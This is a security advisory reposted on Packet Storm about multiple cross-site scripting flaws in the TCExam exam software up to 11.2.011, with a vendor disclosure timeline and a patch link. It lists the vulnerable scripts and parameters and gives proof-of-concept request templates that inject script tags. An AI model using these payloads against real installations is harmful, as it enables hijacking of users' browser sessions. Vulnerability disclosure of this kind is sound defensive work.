exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TCExam 11.2.011 Cross Site Scripting

TCExam 11.2.011 Cross Site Scripting
Posted Jul 14, 2011
Authored by LiquidWorm | Site zeroscience.mk

TCExam versions 11.2.011 and below suffer from multiple pre and post auth cross site scripting vulnerabilities when parsing user input to multiple parameters via GET and POST method in multiple scripts. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user's browser session.

tags | exploit, arbitrary, vulnerability, xss
SHA-256 | 124989b21ffded644a3bd7fb5253e0bf4a9f3a0f8cf17bb80608ab44fd14748f

TCExam 11.2.011 Cross Site Scripting

Change Mirror Download

TCExam <=11.2.011 Multiple Cross-Site Scripting Vulnerabilities


Vendor: Tecnik.com s.r.l.
Product web page: http://www.tcexam.org
Affected version: 11.2.009, 11.2.010 and 11.2.011

Summary: TCExam is a FLOSS system for electronic exams (also know as
CBA - Computer-Based Assessment, CBT - Computer-Based Testing or e-exam)
that enables educators and trainers to author, schedule, deliver, and
report on quizzes, tests and exams.

Desc: TCExam suffers from multiple pre and post auth XSS vulnerabilities
when parsing user input to multiple parameters via GET and POST method in
multiple scripts. Attackers can exploit these weaknesses to execute arbitrary
HTML and script code in a user's browser session.

Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab


High five to Dr. Nicola Asuni!


Vendor status:

[09.07.2011] Vulnerability discovered.
[10.07.2011] Initial contact with the vendor.
[11.07.2011] Vendor responds asking more details.
[11.07.2011] Sent details to vendor.
[12.07.2011] Vendor confirms the issues.
[12.07.2011] Working with the vendor.
[13.07.2011] Vendor releases version 11.2.012 to address these issues.
[13.07.2011] Coordinated public security advisory released.


Advisory ID: ZSL-2011-5025
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5025.php

Vendor Patch: http://sourceforge.net/projects/tcexam/files/tcexam_11_2_012.zip
Vendor Changelog: http://sourceforge.net/projects/tcexam/files/CHANGELOG.TXT



09.07.2011


--


********** Cross-Site Scripting Reflected (script name / parameter(s) / http method) **********

1. /admin/code/tce_colorpicker.php (frm, fld, tag) - GET
2. /admin/code/tce_edit_backup.php (backup_file) - POST
3. /admin/code/tce_edit_group.php (group_name, group_id) - POST
4. /admin/code/tce_edit_module.php (module_id, module_user_id) - POST
5. /admin/code/tce_edit_rating.php (test_id) - POST
6. /admin/code/tce_edit_subject.php (subject_module_id, subject_id) - POST
7. /admin/code/tce_edit_test.php (test_id) - POST
8. /admin/code/tce_filemanager.php (file) - POST
9. /admin/code/tce_select_mediafile.php (frm, fld, file) - GET, GET, POST
10. /admin/code/tce_select_users.php (new_group_id) - POST
11. /admin/code/tce_show_all_questions.php (subject_module_id) - POST
12. /admin/code/tce_show_result_user.php (test_id) - POST
13. /public/code/tce_user_change_email.php (xl_user_email) - POST
14. /public/code/tce_user_change_password.php (xl_newpassword) - POST
15. /public/code/tce_user_registration.php (xl_user_email, xl_newpassword, xl_user_birthdate) - POST


********** Cross-Site Scripting URI Based (script name) **********

1. /admin/code/index.php
2. /admin/code/tce_csv_users.php
3. /admin/code/tce_edit_answer.php
4. /admin/code/tce_edit_backup.php
5. /admin/code/tce_edit_group.php
6. /admin/code/tce_edit_module.php
7. /admin/code/tce_edit_question.php
8. /admin/code/tce_edit_rating.php
9. /admin/code/tce_edit_subject.php
10. /admin/code/tce_edit_test.php
11. /admin/code/tce_edit_user.php
12. /admin/code/tce_filemanager.php
13. /admin/code/tce_import_omr_answers.php
14. /admin/code/tce_import_xml_questions.php
15. /admin/code/tce_import_xml_users.php
16. /admin/code/tce_menu_modules.php
17. /admin/code/tce_menu_tests.php
18. /admin/code/tce_menu_users.php
19. /admin/code/tce_page_info.php
20. /admin/code/tce_select_mediafile.php
21. /admin/code/tce_select_users.php
22. /admin/code/tce_show_all_questions.php
23. /admin/code/tce_show_allresults_users.php
24. /admin/code/tce_show_online_users.php
25. /admin/code/tce_show_result_allusers.php
26. /admin/code/tce_show_result_questions.php
27. /admin/code/tce_show_result_user.php
28. /admin/code/tce_xml_users.php
29. /public/code/index.php
30. /public/code/tce_page_user.php
31. /public/code/tce_user_change_email.php
32. /public/code/tce_user_change_password.php
33. /public/code/tce_user_registration.php


********** Cross-Site Scripting in path (script name) **********

1. /admin/code
2. /public/code


-------------------------------------------------



XSS: GET http://localhost/tcexam/admin/code/{script}.php?{parameter}={value}"><script>alert(1)</script>

XSS: POST http://localhost/tcexam/admin/code/{script}.php HTTP/1.0
- {parameter}={value}<script>alert(1)</script>&{parameter}={value}

XSS URI: GET http://localhost/tcexam/admin/code/index.php?zsl=>"><script>alert(1)</script>

XSS Path: GET http://localhost/tcexam/admin/code/?=>"'><script>alert(1)</script>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close